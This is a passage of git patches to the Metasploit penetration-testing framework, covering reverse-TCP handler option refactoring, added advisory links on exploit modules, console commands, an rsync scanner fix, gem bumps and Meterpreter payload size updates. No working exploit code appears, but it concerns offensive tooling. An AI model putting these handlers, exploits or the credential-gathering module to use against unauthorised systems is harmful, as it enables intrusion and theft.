OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) ], Msf::Handler::ReverseTcp) @@ -249,11 +242,6 @@ module ReverseTcp protected - def bind_port - port = datastore['ReverseListenerBindPort'].to_i - port > 0 ? port : datastore['LPORT'].to_i - end - def bind_address # Switch to IPv6 ANY address if the LHOST is also IPv6 addr = Rex::Socket.resolv_nbo(datastore['LHOST']) diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 731f83884b..34974c7f3a 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -15,6 +15,7 @@ module Handler module ReverseTcpDouble include Msf::Handler + include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm # @@ -40,17 +41,6 @@ module ReverseTcpDouble def initialize(info = {}) super - register_options( - [ - Opt::LHOST, - Opt::LPORT(4444) - ], Msf::Handler::ReverseTcpDouble) - - register_advanced_options( - [ - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), - ], Msf::Handler::ReverseTcpDouble) - self.conn_threads = [] end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 5ffd8cc36d..7289ebb030 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -15,6 +15,7 @@ module Handler module ReverseTcpDoubleSSL include Msf::Handler + include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm include Msf::Handler::Reverse::SSL @@ -41,17 +42,9 @@ module ReverseTcpDoubleSSL def initialize(info = {}) super - register_options( - [ - Opt::LHOST, - Opt::LPORT(4444) - ], Msf::Handler::ReverseTcpDoubleSSL) - register_advanced_options( [ OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse TCP even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), ], Msf::Handler::ReverseTcpDoubleSSL) self.conn_threads = [] @@ -231,11 +224,6 @@ module ReverseTcpDoubleSSL protected - def bind_port - port = datastore['ReverseListenerBindPort'].to_i - port > 0 ? port : datastore['LPORT'].to_i - end - def bind_address # Switch to IPv6 ANY address if the LHOST is also IPv6 addr = Rex::Socket.resolv_nbo(datastore['LHOST']) From da52c366879e3848f21190b3da50ea6153908534 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 29 Oct 2015 15:48:47 -0500 Subject: [PATCH 1019/2172] Put back some links --- modules/exploits/multi/vpn/tincd_bof.rb | 3 ++- modules/exploits/windows/browser/realplayer_qcp.rb | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb index f519037fed..d391ce8da5 100644 --- a/modules/exploits/multi/vpn/tincd_bof.rb +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -41,7 +41,8 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2013-1428'], ['OSVDB', '92653'], ['BID', '59369'], - ['URL', 'http://www.floyd.ch/?p=741'] + ['URL', 'http://www.floyd.ch/?p=741'], + ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index c53b906c36..9a14d5500a 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ['BID', '49172'], # ZDI advisory ['ZDI', '11-265'], + ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], ], 'Payload' => { From 95920b7ff64691112259abbe586291ceac03080f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 29 Oct 2015 15:57:16 -0500 Subject: [PATCH 1020/2172] Bring back more working links --- modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb | 3 ++- modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb | 3 ++- modules/post/multi/gather/lastpass_creds.rb | 1 + 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 24fdecf113..08817cddeb 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -32,7 +32,8 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'ZDI', '10-090' ] + [ 'ZDI', '10-090' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 6d955d6966..bbc14601ec 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -32,7 +32,8 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'ZDI', '10-090' ] + [ 'ZDI', '10-090' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ], ], 'DefaultOptions' => { diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 21153212e7..64e87043fe 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -22,6 +22,7 @@ class Metasploit3 < Msf::Post 'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup ], 'Platform' => %w(linux osx unix win), + 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], 'SessionTypes' => %w(meterpreter shell) ) ) From 82e600a53adc74c4e8af9d184a28595432db4658 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 29 Oct 2015 16:24:29 -0500 Subject: [PATCH 1021/2172] Suggest the correct replacement for the deprecated module The deprecated module has been suggesting the wrong replacement, it should be exploits/multi/browser/adobe_flash_pixel_bender_bof.rb --- .../exploits/windows/browser/adobe_flash_pixel_bender_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb index 48b2268ad1..1dd2db3a94 100644 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Module::Deprecated - deprecated(Date.new(2015, 8, 11), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf') + deprecated(Date.new(2015, 11, 9), 'exploit/multi/browser/adobe_flash_pixel_bender_bof.rb') def initialize(info={}) super(update_info(info, From f064fec0f157394f3a88210933d87e71bd792b9e Mon Sep 17 00:00:00 2001 From: Samuel Huckins <samuel_huckins@rapid7.com> Date: Fri, 30 Oct 2015 09:37:00 -0500 Subject: [PATCH 1022/2172] Bumped version to 4.11.5 MSP-13377 --- lib/metasploit/framework/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index a5e3256a3c..97cbd977cf 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ module Metasploit MAJOR = 4 MINOR = 11 - PATCH = 4 + PATCH = 5 PRERELEASE = 'dev' HASH = get_hash end From 977b3449b7cb235bafb823351f31cb8ba4200853 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 30 Oct 2015 11:02:02 -0500 Subject: [PATCH 1023/2172] Fix #6085, NoMethodError in vim_soap.rb Fix #6085 --- lib/msf/core/exploit/vim_soap.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/vim_soap.rb b/lib/msf/core/exploit/vim_soap.rb index bb71d7676f..3bcd46e295 100644 --- a/lib/msf/core/exploit/vim_soap.rb +++ b/lib/msf/core/exploit/vim_soap.rb @@ -185,8 +185,8 @@ module Exploit::Remote::VIMSoap 'headers' => { 'SOAPAction' => @soap_action} }, 25) return false unless res and res.code == 200 - @server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval'] - @soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}" + @server_objects = (((Hash.from_xml(res.body)['Envelope'] || {})['Body'] || {})['RetrieveServiceContentResponse'] || {})['returnval'] + @soap_action = "urn:vim25/#{(@server_objects['about'] || {})['apiVersion']}" if res.headers['Set-Cookie'] @vim_cookie = res.headers['Set-Cookie'] return true From eb99aaa2166d90655b26cd0e6e7347cd4cbad1a4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 09:49:07 -0700 Subject: [PATCH 1024/2172] Print out modules before building/reporting table --- modules/auxiliary/scanner/rsync/modules_list.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 0943fecb59..ff19dfcc2b 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -107,6 +107,8 @@ class Metasploit3 < Msf::Auxiliary if listing.empty? print_status("#{ip}:#{rport} - rsync #{version}: no modules found") else + print_good("#{ip}:#{rport} - rsync #{version}: #{listing.size} modules found: " \ + "#{listing.map(&:first).join(', ')}") listing.each do |name_comment| connect rsync_negotiate @@ -125,9 +127,6 @@ class Metasploit3 < Msf::Auxiliary ], 'Rows' => listing ) - - print_good("#{ip}:#{rport} - rsync #{version}: #{listing.size} modules found: " \ - "#{listing.map(&:first).join(', ')}") vprint_line(listing_table.to_s) report_note( From db0518dd3c06013af346e6ad4675b94a027dfdd3 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 30 Oct 2015 13:06:53 -0500 Subject: [PATCH 1025/2172] Bump jsobfu to 0.3.0 --- Gemfile.lock | 7 +++++-- metasploit-framework.gemspec | 2 +- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 0444e469b0..5fae4c6d43 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -5,7 +5,7 @@ PATH actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt - jsobfu (~> 0.2.0) + jsobfu (~> 0.3.0) json metasm (~> 1.0.2) metasploit-concern (= 1.0.0) @@ -103,7 +103,7 @@ GEM multi_json (~> 1.3) hike (1.2.3) i18n (0.7.0) - jsobfu (0.2.1) + jsobfu (0.3.0) rkelly-remix (= 0.0.6) json (1.8.3) mail (2.6.3) @@ -251,3 +251,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.6 diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 8066080910..5ea88de9ca 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -52,7 +52,7 @@ Gem::Specification.new do |spec| # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) spec.add_runtime_dependency 'bcrypt' # Needed for Javascript obfuscation - spec.add_runtime_dependency 'jsobfu', '~> 0.2.0' + spec.add_runtime_dependency 'jsobfu', '~> 0.3.0' # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' # Metasm compiler/decompiler/assembler From 6bfa6095c620f2e2edce459e91ad157f8a9db29e Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 10:55:08 -0700 Subject: [PATCH 1026/2172] Add 'show info'; just calls 'info' --- lib/msf/ui/console/command_dispatcher/core.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 0fe2cb45cc..768d28ad44 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2204,7 +2204,7 @@ class Core end def cmd_show_help - global_opts = %w{all encoders nops exploits payloads auxiliary plugins options} + global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options} print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}") module_opts = %w{ missing advanced evasion targets actions } @@ -2244,6 +2244,8 @@ class Core show_auxiliary when 'post' show_post + when 'info' + cmd_info(*args[1, args.length]) when 'options' if (mod) show_options(mod) From 0091a05fa6f35043da5b0d3166c3f277e90b2252 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 11:30:29 -0700 Subject: [PATCH 1027/2172] Add 'advanced' and 'options' commands to mirror 'info' --- lib/msf/ui/console/command_dispatcher/core.rb | 86 ++++++++++++++++++- 1 file changed, 85 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 768d28ad44..3e37a296bb 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -123,7 +123,9 @@ class Core "go_pro" => "Launch Metasploit web GUI", "grep" => "Grep the output of another command", "help" => "Help menu", - "info" => "Displays information about one or more module", + "advanced" => "Displays advanced options for one or more modules", + "info" => "Displays information about one or more modules", + "options" => "Displays options for one or more modules", "irb" => "Drop into irb scripting mode", "jobs" => "Displays and manages jobs", "rename_job" => "Rename a job", @@ -712,6 +714,36 @@ class Core Rex::ThreadSafe.sleep(args[0].to_f) end + def cmd_advanced_help + print_line 'Usage: advanced [mod1 mod2 ...]' + print_line + print_line 'Queries the supplied module or modules for advanced options. If no module is given,' + print_line 'show advanced options for the currently active module.' + print_line + end + + def cmd_advanced(*args) + if args.empty? + if (active_module) + show_advanced_options(active_module) + return true + else + print_error('No module active') + return false + end + end + + args.each { |name| + mod = framework.modules.create(name) + + if (mod == nil) + print_error("Invalid module: #{name}") + else + show_advanced_options(mod) + end + } + end + def cmd_info_help print_line "Usage: info <module name> [mod2 mod3 ...]" print_line @@ -748,6 +780,47 @@ class Core } end + def cmd_options_help + print_line 'Usage: options [mod1 mod2 ...]' + print_line + print_line 'Queries the supplied module or modules for options. If no module is given,' + print_line 'show options for the currently active module.' + print_line + end + + def cmd_options(*args) + if args.empty? + if (active_module) + show_options(active_module) + return true + else + show_global_options + return true + end + end + + args.each { |name| + mod = framework.modules.create(name) + + if (mod == nil) + print_error("Invalid module: #{name}") + else + show_options(mod) + end + } + end + + # + # Tab completion for the advanced command (same as use) + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_advanced_tabs(str, words) + cmd_use_tabs(str, words) + end + # # Tab completion for the info command (same as use) # @@ -759,6 +832,17 @@ class Core cmd_use_tabs(str, words) end + # + # Tab completion for the options command (same as use) + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_options_tabs(str, words) + cmd_use_tabs(str, words) + end + def cmd_irb_help print_line "Usage: irb" print_line From 377017a2d526425ba8c85b751b92727a8339722c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 11:37:24 -0700 Subject: [PATCH 1028/2172] Include module name in advanced options output --- lib/msf/ui/console/command_dispatcher/core.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 3e37a296bb..165dc23d07 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3551,7 +3551,8 @@ class Core def show_advanced_options(mod) # :nodoc: mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ') - print("\nModule advanced options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) # If it's an exploit and a payload is defined, create it and # display the payload's options From c54f034f624cddf3829ee27e654c6ed31ab9b3d0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 12:34:34 -0700 Subject: [PATCH 1029/2172] Correct help feature --- features/commands/help.feature | 4 +++- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/features/commands/help.feature b/features/commands/help.feature index 95fe5e6388..b6ab47ae47 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -24,7 +24,9 @@ Feature: Help command go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu - info Displays information about one or more module + advanced Displays advanced options for one or more modules + info Displays information about one or more modules + options Displays global options or for one or more modules irb Drop into irb scripting mode jobs Displays and manages jobs kill Kill a job diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 165dc23d07..8e6be4fe7a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -125,7 +125,7 @@ class Core "help" => "Help menu", "advanced" => "Displays advanced options for one or more modules", "info" => "Displays information about one or more modules", - "options" => "Displays options for one or more modules", + "options" => "Displays global options or for one or more modules", "irb" => "Drop into irb scripting mode", "jobs" => "Displays and manages jobs", "rename_job" => "Rename a job", From ff1d0709e02ad90852001a34c04ed6d601094325 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 12:39:06 -0700 Subject: [PATCH 1030/2172] vprint if the thing isn't rsync --- modules/auxiliary/scanner/rsync/modules_list.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index ff19dfcc2b..e70bcf65dc 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -87,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary connect version, motd = rsync_negotiate unless version + vprint_error("#{ip}:#{rport} - does not appear to be rsync") disconnect return end From d18b6ff9cdf4efada2cb0a98f5dc9cf0cb72efef Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 13:13:44 -0700 Subject: [PATCH 1031/2172] More doc, error handling --- modules/auxiliary/scanner/rsync/modules_list.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index e70bcf65dc..10ad3e7f28 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -58,8 +58,12 @@ class Metasploit3 < Msf::Auxiliary end def rsync_negotiate + # rsync is promiscuous and will send the negotitation and motd + # upon connecting. abort if we get nothing return unless greeting = sock.get(read_timeout) + # split the lines we got back into those likely to be control lines and + # thoese that are likely motd lines greeting.strip! control_lines = [] motd_lines = [] @@ -71,16 +75,22 @@ class Metasploit3 < Msf::Auxiliary end end + # locate the rsync negotiation and complete it by just echo'ing + # back the same rsync version that it sent us + version = nil control_lines.map do |control_line| if /^#{RSYNC_HEADER} (?<version>\d+(\.\d+)?)$/ =~ control_line version = Regexp.last_match('version') - motd = motd_lines.empty? ? nil : motd_lines.join("\n") sock.puts("#{RSYNC_HEADER} #{version}\n") - return version, motd end end - nil + unless version + vprint_error("#{ip}:#{rport} - no rsync negotation found") + return + end + + [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] end def run_host(ip) From 15a9bccb2f4ddae8b467f8ea1afd8faa07029436 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 30 Oct 2015 13:17:15 -0700 Subject: [PATCH 1032/2172] Use correct order for help ... --- features/commands/help.feature | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/features/commands/help.feature b/features/commands/help.feature index b6ab47ae47..57d5f2d0f7 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -12,6 +12,7 @@ Feature: Help command Command Description ------- ----------- ? Help menu + advanced Displays advanced options for one or more modules back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory @@ -24,15 +25,14 @@ Feature: Help command go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu - advanced Displays advanced options for one or more modules info Displays information about one or more modules - options Displays global options or for one or more modules irb Drop into irb scripting mode jobs Displays and manages jobs kill Kill a job load Load a framework plugin loadpath Searches for and loads modules from a path makerc Save commands entered since start to a file + options Displays global options or for one or more modules popm Pops the latest module off the stack and makes it active previous Sets the previously loaded module as the current module pushm Pushes the active or list of modules onto the module stack From 2bd792f693fc3c60a12347066deacc7c39417cc6 Mon Sep 17 00:00:00 2001 From: Louis Sato <lsato@rapid7.com> Date: Fri, 30 Oct 2015 15:26:45 -0500 Subject: [PATCH 1033/2172] remove .rb file extension --- .../exploits/windows/browser/adobe_flash_pixel_bender_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb index 1dd2db3a94..422f229af7 100644 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Module::Deprecated - deprecated(Date.new(2015, 11, 9), 'exploit/multi/browser/adobe_flash_pixel_bender_bof.rb') + deprecated(Date.new(2015, 11, 9), 'exploit/multi/browser/adobe_flash_pixel_bender_bof') def initialize(info={}) super(update_info(info, From 4a52b62275b8f137d6632e68ea0c1d04d353e2c6 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 30 Oct 2015 17:08:29 -0500 Subject: [PATCH 1034/2172] bump to 4.11.5, update a few other gems --- Gemfile.lock | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 0444e469b0..db3c273cdb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.4) + metasploit-framework (4.11.5) actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt @@ -21,14 +21,14 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.4) + metasploit-framework-db (4.11.5) activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.1) - metasploit-framework (= 4.11.4) + metasploit-framework (= 4.11.5) metasploit_data_models (= 1.2.9) pg (>= 0.11) - metasploit-framework-pcap (4.11.4) - metasploit-framework (= 4.11.4) + metasploit-framework-pcap (4.11.5) + metasploit-framework (= 4.11.5) network_interface (~> 0.0.1) pcaprub @@ -140,7 +140,7 @@ GEM mime-types (2.6.1) mini_portile (0.6.2) minitest (4.7.5) - msgpack (0.6.2) + msgpack (0.7.0) multi_json (1.11.2) multi_test (0.1.2) network_interface (0.0.1) @@ -221,7 +221,7 @@ GEM actionpack (>= 3.0) activesupport (>= 3.0) sprockets (>= 2.8, < 4.0) - sqlite3 (1.3.10) + sqlite3 (1.3.11) thor (0.19.1) thread_safe (0.3.5) tilt (1.4.1) From fb7d5e569a62a3378afc03d6f50aed24edd62010 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 30 Oct 2015 17:27:09 -0500 Subject: [PATCH 1035/2172] update to metasploit-payloads 1.0.16 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index db3c273cdb..a1e3a74625 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -10,7 +10,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.15) + metasploit-payloads (= 1.0.16) msgpack nokogiri packetfu (= 1.1.11) @@ -125,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.15) + metasploit-payloads (1.0.16) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 8066080910..d8377b55f6 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.15' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From ec1682ebd93b4be5ae3546ffdec4b3e3d699cca8 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 30 Oct 2015 17:35:05 -0500 Subject: [PATCH 1036/2172] update payload size cache --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 12 files changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index b6c3ed2b45..bf7069cef5 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49234 + CachedSize = 49482 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 0298370cf8..f4aabdd443 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49234 + CachedSize = 49398 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 068ee6e037..11f876dfc8 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885806 + CachedSize = 957486 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 5ed6e68ff6..43d51aeae7 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 886850 + CachedSize = 958530 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index c0ea30893b..c9c3f4feee 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 